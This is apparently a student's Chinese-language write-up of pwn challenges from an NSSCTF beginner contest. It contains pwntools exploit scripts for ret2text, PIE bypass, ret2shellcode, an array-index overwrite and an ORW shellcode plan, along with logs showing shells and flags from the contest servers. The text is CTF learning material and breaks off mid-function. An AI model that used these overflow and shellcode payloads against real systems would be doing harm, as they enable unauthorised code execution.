(PWN) SWPU-NSSCTF 秋季招新入门训练赛

SWPU-NSSCTF 秋季招新入门训练赛

1.gift_pwn

1
checksec --file=gift
ccd8020afe0824060a4192008fb6428a.png

缓冲区溢出

a38eebab7f52e73fcf676a54122ddb67.png 25baf92ec88fc416128f61b386218f3e.png

buf : 0x10為地址

在ida中找到gift函數

b188fb058760c2e053366aa966743dca.png

gift .text 00000000004005B6 00000020 00000008 R . . . . . B . .

gitf: 0x4005B6

寫腳本

1
2
3
4
5
6
7
from pwn import *
p= remote("node4.anna.nssctf.cn",28954)
elf = ELF('./gift')
shell = 0x4005B6
payload = b'a'*0x18+p64(shell)
p.send(payload)
p.interactive()

$ ls
bin
dev
flag

cb6b53eb63e780d78e6e8ac455cfe5ad.png

2.Does your nc work?

node5.anna.nssctf.cn:25138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ghsc@DESKTOP-JDO3EH1:~/NewStar2025$ nc node5.anna.nssctf.cn 25138
Wlecome to NSS!!
____ _____ ______ ______
|_ \ |_ _| .' ____ \ .' ____ \
| \ | | | (___ \_ | |(___\_|
| | \ \| | _.____` . _.____`.
_| |_\ |_ |\____) | |\____) |
|_____|\____| \______.' \______.'
Do you know where the flag is?
ls
bin
dev
lib
lib32
lib64
libx32
nss
pwn
cd nss
ls
ctf
cat ctf
cat: ctf: Is a directory
cd ctf
ls
flag
cat flag
NSSCTF{30cdd437-d765-4810-b308-2ab9360817ca}

3.口算题卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ghsc@DESKTOP-JDO3EH1:~/NewStar2025$ nc node4.anna.nssctf.cn 28755

__ ________ _________ ______ _________ ______
/_/\ /_______/\ /________/\ /_____/\ /________/\ /_____/\
\:\ \ \__.::._\/ \__.::.__\/ \:::__\/ \__.::.__\/ \::::_\/_
\:\ \ \::\ \ \::\ \ \:\ \ __ \::\ \ \:\/___/\
\:\ \____ _\::\ \__ \::\ \ \:\ \/_/\ \::\ \ \:::._\/
\:\/___/\ /__\::\__/\ \::\ \ \:\_\ \ \ \::\ \ \:\ \
\_____\___________________ \__\_____ \_____\______ \__\/ \_\/
/_____/\ /_____/\ /_____/\ /_____/\
\:::_:\ \ \:::_ \ \ \:::_:\ \ \:::_:\ \
_\:\| \:\ \ \ \ _\:\| /_\:\ \
_______ /::_/__ \:\ \ \ \ /::_/__ \::_:\ \
/______/\ \:\____/\ \:\_\ \ \ \:\____/\ /___\:\ '
\__::::\/ \_____\/ \_____\/ \_____\/ \______/

Welcome to the LitCTF2023 Verbal Problem Card!
You will be presented with 100 addition and subtraction problems.
Your goal is to answer all of them correctly to get the flag!
if you wrong, you will be kicked out of the game.
Good luck & Have fun!
What is 13 - 36?
-23
Correct!
What is 4 + 83?
87
Correct!
What is 60 + 56?
116
Correct!
What is 45 - 88?
-43
Correct!
What is 44 + 24?
68
Correct!
What is 54 + 42?
96
Correct!
What is 87 + 96?
183
Correct!
What is 8 - 39?
-31
Correct!
What is 98 + 86?
184
Correct!

看來要寫python腳本了( ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#node4.anna.nssctf.cn:28218
p= remote('node4.anna.nssctf.cn', 28218)
context(os='linux',arch='arm64',log_level='debug')

#p.recvuntil(b'What is ')
#temp = p.recvuntil(b'?\n')[:-2]
#print(temp)

#a=eval("1111+2222")
#print(a)
#a=eval(temp)
#p.sendline(str(a))
#p.recv()

for i in range(100):
p.recvuntil(b'What is ')
temp = p.recvuntil(b'?\n')[:-2]
a=eval(temp)
p.sendline(str(a))

print(p.recv())

print(p.recv())

b5d1f8ffd6cc832f59049ec0b4d74855.png

4.where_is_shell

栈对齐:

https://blog.csdn.net/yjh_fnu_ltn/article/details/138512152

細講:

https://www.bilibili.com/video/BV1aDaUzsEnJ/?spm_id_from=333.1387.homepage.video_card.click&vd_source=b128d59725d91ecef706ce0b01795a8f

1
2
3
chmod +x shell
pwn checksec shell
file shell

NX 啟動了。64位

NX保護

NX (No-eXecute) 保護,也被稱為 XD (Execute Disable) 位、DEP (Data Execution Prevention) 或 W^X (Write XOR Execute),是一種旨在 防止數據區域(如堆、棧)被執行代碼,從而緩和緩衝區溢出攻擊的安全機制。

通過拼接程序中已有的、以 ret 指令結束的小段代碼(稱為 “gadgets”)來構成惡意邏輯。這些 gadgets 存在於本來就標記為「可執行」的代碼段中,因此 NX 保護對其無效。

e7317a164919d3a207d8bae659d84325.png 4b3c3da923685a0de0dd7655f2ce37ac.png

用ida看看: buf用了10位

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo 'zltt lost his shell, can you find it?'");
read(0, buf, 0x38u);
return 0;
}

沒有找到system(“/bin/sh”)

看看IDA中的tips函數

660b3f5b270b87e59eae07c0cf90ab44.png 1a9591bbc2e99c93e190ff9163a6255b.png 3d923c995d76cd855231a4693ca8b19b.png

把它變成chr()可看出是一個”$0”

拿到shell的有:

  • /bin/sh
  • sh
  • $0
1
2
.text:0000000000400540 008 E8 24 30 00 00  call  near ptr 403569h
_system .plt 0000000000400430 00000006 R . . . . . . T . .

所以要:

shellptr = 0x400540+1 開始(jump E8)

system = 0x400430

fccdcc67f70a8f1f7d74f63149641c01.png

我們要把rdi變成$0 , 下一個斷點,

8190ff353caaf614934a13213b57b725.png

按一下e , 把它改成$0地址 : 0x400541

fd17f7cf6318608acdb7295a4b6f939d.png 83795e0c76b5176148487264189776c2.png

可以看見我把我自己的shell搞出來了(本地), 可以用這一種思路來寫python

看看rbp是多少:

8fc4efc924502991c8718f45517a208e.png

10位 + 8位(rbp) , 所以垃圾數據要 b’a’*(0x10+8)

  • ret : 0x400416
  • pop_rdi : 0x4005e3 (怎麼找的,pop是指彈出, )
  • binsh : 0x400541
  • system : 0x400430

3.最後的目標,要是在system函數的return 字符跳去tap “$0”的字符去

1aa753e4ae4f2dd978eaa67edb654899.png

其實我不明白這個函數有什麼用?(猜測:在read函數時調用system函數,並在return嘅時候引用「$0」

那麼新的問題又來了,在棧上符付串是如何讀取的?為什麼給這些地址就能迴響函數?(猜測:用了p64(),Rip把它當成地址去讀取,並執行地址下面的機械碼)

90d38bc29c16876e744d8e5d95b17663.png

因為我沒有記錯的話,電腦是以小端序的方式排列的所以payload讀取的地址應該是從system開始?

76938f80389b1f8a39542db97d3a542b.png b166f2df599b5dd9b45d9d6fa52315d8.png

https://blog.csdn.net/yongbaoii/article/details/109098446

ROPgadget 安装 错误处理 与使用

5.Shell

shell
ubuntu 16.04
你会用 Linux 吗? 你知道什么是 Shell 吗?
https://github.com/XDSEC/MoeCTF_2022

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ghsc@DESKTOP-JDO3EH1:~$ nc node5.anna.nssctf.cn 29880
Welcome to PWN world!
In PWN, your goal is to get shell.
Here I'll give you the shell as a gift for our first meeting.
Have fun in the following trip!
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
NSSCTF{683bd45d-e5b0-4335-963d-39a4770a3cad}

6.ret2text_ez

Ubuntu 16.04
这是一个更简单的ret2text哦~~~
https://github.com/XDSEC/moeCTF_2021

e23770a2cfb740961571503e168afaf1.png

只開了NX保護 , 64位程式

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}

追蹤 init函數

1
2
3
4
5
6
7
int __fastcall init(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return puts("Welcome to moectf 2021~ This's a brand new ret2text and much easier than the old one.");
}

追蹤 vuln()函數


1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x32u);
}

16*2 + 8 = b’A’ (0x20+8)

1
2
3
4
5
int backdoor()
{
puts("Congratulations!You get it!!!");
return system("/bin/sh");
}

發現backdoor後面函數

地址: 0x401196

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#node5.anna.nssctf.cn:29821

p = remote("node5.anna.nssctf.cn", 29821)
context(os='linux',arch='amd64',log_level='debug')

backdoor= 0x401196

payload = b'A'*(0x20+8) + p64(backdoor)

p.sendlineafter("one.\n" ,payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
(base) ghsc@DESKTOP-JDO3EH1:~/NSSCTF2025/pwn$ /home/ghsc/anaconda3/envs/py311/bin/python /home/ghsc/NSSCTF2025/pwn/ret2text_ez.py
[+] Opening connection to node5.anna.nssctf.cn on port 29821: Done
/home/ghsc/anaconda3/envs/py311/lib/python3.11/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x55 bytes:
b"Welcome to moectf 2021~ This's a brand new ret2text and much easier than the old one."
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 96 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 0a │·│
00000031
[*] Switching to interactive mode
[DEBUG] Received 0x1d bytes:
b'Congratulations!You get it!!!'
Congratulations!You get it!!![DEBUG] Received 0x1 bytes:
b'\n'

$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x21 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'pwn\n'
bin
dev
flag
lib
lib32
lib64
pwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'NSSCTF{9c9807db-a66d-4536-b9a5-3ee3223118ad}\n'
NSSCTF{9c9807db-a66d-4536-b9a5-3ee3223118ad}

7.ezpie

9280fbcc10509af4b72f8f2a93667956.png

這是一個簡單的pie , 32位程式 , 開了NX和PIE

運行一下 , 发现他有gift给main的地址,那么只需要根据偏移量来得到shell到mian的地址就好了

bad61fc3e7e79b17f8f9f89a8da2fc80.png

在python上可以用p.recvuntil(b’0x’) 來取 p.recv(8) 轉成一個16進制的形式 ,

int(p.recv(8) , 16)

a030f972ded682b612734fb463917570.png

0x770 - 0x80F 為偏移量

1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x50u);
}

0x28+4 = 0x2C

1
payload = cyclic(0x2C) + p32(int(p.recv(8) , 16) + abs(0x770 - 0x80F))
1
2
3
4
5
6
7
8
9
10
from pwn import *
#node7.anna.nssctf.cn:27482
p = remote("node7.anna.nssctf.cn", 27482)
context(os='linux',arch='i386',log_level='debug')
p.recvuntil(b'0x')
attack = int(p.recv(8) , 16) + abs(0x770 - 0x80F)
payload = cyclic(0x2C) + p32(attack)
p.sendafter ( b'Input:\n' , payload)

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
(base) ghsc@DESKTOP-JDO3EH1:~$ /home/ghsc/anaconda3/envs/py311/bin/python /home/ghsc/NSSCTF2025/pwn/pie.py
[+] Opening connection to node7.anna.nssctf.cn on port 27482: Done
[DEBUG] Received 0x16 bytes:
b'OHHH!,give you a gift!'
[DEBUG] Received 0x13 bytes:
b'\n'
b'0x56608770\n'
b'Input:\n'
[DEBUG] Sent 0x30 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 0f 88 60 56 │iaaa│jaaa│kaaa│··`V│
00000030
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x21 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'pwn\n'
bin
dev
flag
lib
lib32
lib64
pwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'NSSCTF{a94350b0-4c6b-4397-8b84-5eef16cc775e}\n'
NSSCTF{a94350b0-4c6b-4397-8b84-5eef16cc775e}

8.getshell2

05b1fea27614cf38ffe3b904907e2d49.png

32位 , 開了NX

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
int init()
{
alarm(0x20u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return puts(
" __ ___ ______ ___ \n"
" / |/ /__ /_ __/__< /_ __\n"
" / /|_/ / _ `// / / __/ /\\ \\ /\n"
"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}
1
2
3
4
5
6
ssize_t vulnerable()
{
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

return read(0, buf, 0x24u);
}

0x18+4 = 0x1C

可用部分只有 0x24 - 0x1c = 0x8 个字节

e45bef4eed1650d983ff6d5475758118.png

0x8048529

702194bb8d1c666643063af612642551.png

取sh

7be108364c14a3f848c9fd0c42c74aca.png

應該是0x8048673 - 3 = 0x8048670

8134fb0cec4fd96321c5fe828491d590.png

沒什麼問題了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#node5.anna.nssctf.cn:21312
p = remote("node5.anna.nssctf.cn", 21312)
context(os='linux',arch='i386',log_level='debug')


system_addr = 0x8048529
sh_addr = 0x8048670

payload = b'A'*(0x1c) + p32(system_addr) + p32(sh_addr)
p.sendafter("/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n" , payload)
p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
[DEBUG] Received 0x7c bytes:
b' __ ___ ______ ___ \n'
b' / |/ /__ /_ __/__< /_ __\n'
b' / /|_/ / _ `// / / __/ /\\ \\ /\n'
b'/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n'
[DEBUG] Sent 0x24 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 29 85 04 08 │AAAA│AAAA│AAAA│)···│
00000020 70 86 04 08 │p···│
00000024
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
b'\n'

$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x55 bytes:
b'bin\n'
b'boot\n'
b'dev\n'
b'etc\n'
b'home\n'
b'lib\n'
b'lib64\n'
b'media\n'
b'mnt\n'
b'opt\n'
b'proc\n'
b'root\n'
b'run\n'
b'sbin\n'
b'srv\n'
b'sys\n'
b'tmp\n'
b'usr\n'
b'var\n'
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
[DEBUG] Sent 0x8 bytes:
b'cd home\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x4 bytes:
b'ctf\n'
ctf
$ cd ctf
[DEBUG] Sent 0x7 bytes:
b'cd ctf\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x11 bytes:
b'flag.txt\n'
b'service\n'
flag.txt
service
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
b'NSSCTF{8c6d2ab4-42ec-42d3-86ba-951189ab2980}\n'
NSSCTF{8c6d2ab4-42ec-42d3-86ba-951189ab2980}

9.ret2shellcode

ba93332472dd7ef77b86a4dface48b48.png

開了SHSTK和IBT , 64位

給了我這一些代碼 , setbuf 後 mprotect 再 read 。0x110個字可讀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7);
memset(s, 0, sizeof(s));
read(0, s, 0x110u);
strcpy(buff, s);
return 0;
}

ida 版 , 0x100+ 8

這一題如名, shellcode 用pwntools 生成asm (shellcraft.sh())

參考這一個wp :

https://blog.csdn.net/Mr_Fmnwon/article/details/130359573

1
2
mprotect()函数
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

code中是修改為7 (滿權限)

我們用gdb來查看bss段

vmmap一下

0af8bcff9a1d2d2dbab371b3cf50b3e9.png 8455f0c2d7296298a0baf4299122437e.png

buff在0x4040A0 在rw-p 可读写不可执

13f7b9b0b1853955aed6417e08a6a4b4.png 83a8b67819320b425ff228902bf97f10.png

可以看見在執行完mprotect後變成rwxp , 因此我們可以用shellcode 寫入bss段

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import * 
#node5.anna.nssctf.cn:25840
p = remote('node5.anna.nssctf.cn',25840)

context(os='linux',arch='amd64',log_level='debug')

shellcode = asm(shellcraft.sh())
bss_addr = 0x4040A0
#ljust()為向左對齊
payload = shellcode.ljust(0x100+8 ,b'a') + p64(bss_addr)

p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[DEBUG] Sent 0x111 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│
00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│
00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 a0 40 40 00 00 00 00 00 │aaaa│aaaa│·@@·│····│
00000110 0a │·│
00000111
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x36 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libexec\n'
b'libx32\n'
b'shellcode\n'
bin
dev
flag
lib
lib32
lib64
libexec
libx32
shellcode
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x26 bytes:
b'nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}\n'
nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}

10.babyarray

763c5f2b480e32a46e0cf0b8cc243c69.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(" ____ _ _ ____ _____ _____ ");
puts("/ ___|| | | |/ ___|_ _| ___|");
puts("\\___ \\| | | | | | | | |_ ");
puts(" ___) | |_| | |___ | | | _| ");
puts("|____/ \\___/ \\____| |_| |_| ");
puts(" ");
puts("============================");
puts("index:");
__isoc99_scanf("%d", &v4);
puts("value:");
__isoc99_scanf("%d", 4LL * v4 + 6295712);
if ( !a )
printf("SUCTF{xxxxxxxxxxxxxxx}");
return 0;
}
1
2
3
4
.data:0000000000601068                                   public a
.data:0000000000601068 01 00 00 00 a dd 1 ; DATA XREF: main+D5↑r
.data:0000000000601068 _data ends
.data:0000000000601068

a被設為1 , 目標是把a改成0 , 這樣!(a) == 1

f9e9dc5586db9f5f27dc24d6c2659fc0.png

這是第二次scanf的 == 4 + 0x06010A0

(0x601068 - 0x06010A0)/4 = -14

b07cff647db71b20ab411ffa25b087d2.png
1
2
3
4
5
6
7
8
9
10
from pwn import *
#node4.anna.nssctf.cn:28839
p = remote('node4.anna.nssctf.cn',28839)
a_addr = 0x0000000000601068
offset = (a_addr - 6295712)/4
print(offset)
# offset = -14
p.sendlineafter('index:',b'-14')
p.sendlineafter('value:',b'0')
print(p.recvuntil('}'))

[CISCN 2019华中]PWN1

bd5585a1561329b7cf1e1bd1f7816e33.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0);
n2 = 0;
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( n2 == 3 )
{
puts("Bye!");
return 0;
}
if ( n2 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t x; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
x = (unsigned int)x;
if ( x >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
1
2
3
4
5
6
7
8
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}

小写字母 (a-z): s[x] ^= 0xDu (异或13)

大写字母 (A-Z): s[x] ^= 0xEu (异或14)

数字 (0-9): s[x] ^= 0xFu (异或15)

我們要用libc來構造ROP鏈 , 在寫代碼前先簡單看看這個:

https://www.bilibili.com/video/BV1WRKmzkEiq?spm_id_from=333.788.player.switch&vd_source=b128d59725d91ecef706ce0b01795a8f

[HGAME 2023 week1]simple_shellcode

加餐 link 老師精選

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000u, 7, 33, -1, 0);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10u);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

有一個mmap 改變了限權 , read 讀0xCAFE0000LL 10個unsig ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned __int64 __fastcall sandbox(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v7; // [rsp+0h] [rbp-40h] BYREF
__int16 n32; // [rsp+10h] [rbp-30h] BYREF
char v9; // [rsp+12h] [rbp-2Eh]
char v10; // [rsp+13h] [rbp-2Dh]
int v11; // [rsp+14h] [rbp-2Ch]
__int16 n21; // [rsp+18h] [rbp-28h]
char n2; // [rsp+1Ah] [rbp-26h]
char v14; // [rsp+1Bh] [rbp-25h]
int n59; // [rsp+1Ch] [rbp-24h]
__int16 n21_1; // [rsp+20h] [rbp-20h]
char v17; // [rsp+22h] [rbp-1Eh]
char v18; // [rsp+23h] [rbp-1Dh]
int n322; // [rsp+24h] [rbp-1Ch]
__int16 n6; // [rsp+28h] [rbp-18h]
char v21; // [rsp+2Ah] [rbp-16h]
char v22; // [rsp+2Bh] [rbp-15h]
int n2147418112; // [rsp+2Ch] [rbp-14h]
__int16 n6_1; // [rsp+30h] [rbp-10h]
char v25; // [rsp+32h] [rbp-Eh]
char v26; // [rsp+33h] [rbp-Dh]
int v27; // [rsp+34h] [rbp-Ch]
unsigned __int64 v28; // [rsp+38h] [rbp-8h]

v28 = __readfsqword(0x28u);
n32 = 32;
v9 = 0;
v10 = 0;
v11 = 0;
n21 = 21;
n2 = 2;
v14 = 0;
n59 = 59;
n21_1 = 21;
v17 = 1;
v18 = 0;
n322 = 322;
n6 = 6;
v21 = 0;
v22 = 0;
n2147418112 = 2147418112;
n6_1 = 6;
v25 = 0;
v26 = 0;
v27 = 0;
LOWORD(v7) = 5;
prctl(38, 1, 0, 0, 0, a6, v7, &n32);
prctl(22, 2, &v7);
return __readfsqword(0x28u) ^ v28;
}
1
seccomp-tools dump ./vuln
ca3a14bd013224eda6b9032146f32994.png

execve和execveat被ban了 ,

09da379c0cebfa19b16bd5064131e56d.png

目標把rdx改成orw攻擊

可以很明显的了解到跟沙盒有关,再查一下沙盒机制,显然不能直接构造orw,再加上read所存储的字节数少,不能直接构造,所以可以在mmap上面来构造orw

已知: mmap_addr = 0xCAFE0000

目标是触发 read(0, 0xCAFE0000, 更大的长度)

55d22189-a961-4bb3-9bc4-8b3dffd2e5b9.png

rdi (fd) = 0 , rsi (buf) = mmap_addr , rdx(count) = 0x1000

第一段Shellcode:构造read

1
2
3
4
5
6
7
arm """
xor rdi , rdi ; #fd
mov rsi , 0xCAFE0000 ; #buf
mov rdx , 0x1000 ; #count
xor rax, rax ; #syscall number
syscall ;
"""

第二段Shellcode:ORW获取Flag

1
2
3
4
payload = shellcraft.open('./flag')
payload += shellcraft.read(3, mmap_addr+0x100 , 0x50)
payload += shellcraft.write(1, mmap_addr+0x100 , 0x50)
payload_asm = asm(payload)

find_flag

看看checksec:
c67bfee0ec5305b9c38cf0fea494572e.png

保護全開了 , 看看ida 先:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__gid_t rgid; // [rsp+Ch] [rbp-4h]

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
rgid = getegid();
setresgid(rgid, rgid, rgid);
sub_1240();
sub_132F();
return 0;
}

看不懂 , 先看看程式是怎麼運行呢

af8e0af110e76b9e03926b41e93cc116.png

看來是一個格式化字符串漏洞,而且有栈溢出。

換libc

由于开了PIE,所以无法在main函数下断点,但是我們有萬能的gdb大人

link大哥教: $rebase(0x地址) 一下就好啦~

1
2
3
4
pwndbg> b *$rebase(0x132F) #sub_132F
Breakpoint 2 at 0x55555555532f
pwndbg> b *$rebase(0x1240) #sub_1240
Breakpoint 3 at 0x555555555240

然後等待時機找到libc載入時:

ee2b0069ab3f2480aef09ebbced31d24.png

收集libc函數地址尾3個 , 再用link大哥給的libc database search : https://libc.blukat.me/?q=read%3Aa80%2Cprintf%3A100%2Csystem%3A750

3fccff4dca22e2ba43d3cf85c4596320.png

用glibc-all-in-one下載新的libc 和ld 文件 。

1fb1b2a854086e00ee1067d57a58e9cd.png
1
sudo ./download 2.39-0ubuntu8.6_amd64
00fb049dc5389326e2cc4543ea5a4992.png
1
2
patchelf --set-interpreter /home/ghsc/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/ld-linux-x86-64.so.2  find_flag
patchelf --replace-needed libc.so.6 /home/ghsc/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6 find_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int sub_1240()
{
puts("Ahhhh! Morning~~~\n");
puts(" .-\"-.");
puts(" / 4 4 \\");
puts(" \\_ v _/");
puts(" // \\\\");
puts(" (( ))");
puts("=======\"\"===\"\"=======");
puts(" |||");
puts(" '|'\n");
puts("What a beautiful day!");
puts(" _.-^-._ .--.");
puts(" .-' _ '-. |__|");
puts(" / |_| \\| |");
puts(" / \\ |");
puts(" /| _____ |\\ |");
puts(" | |==|==| | |");
puts(" | |--|--| | |");
puts(" | |==|==| | |");
return puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
}
unsigned __int64 sub_132F()
{
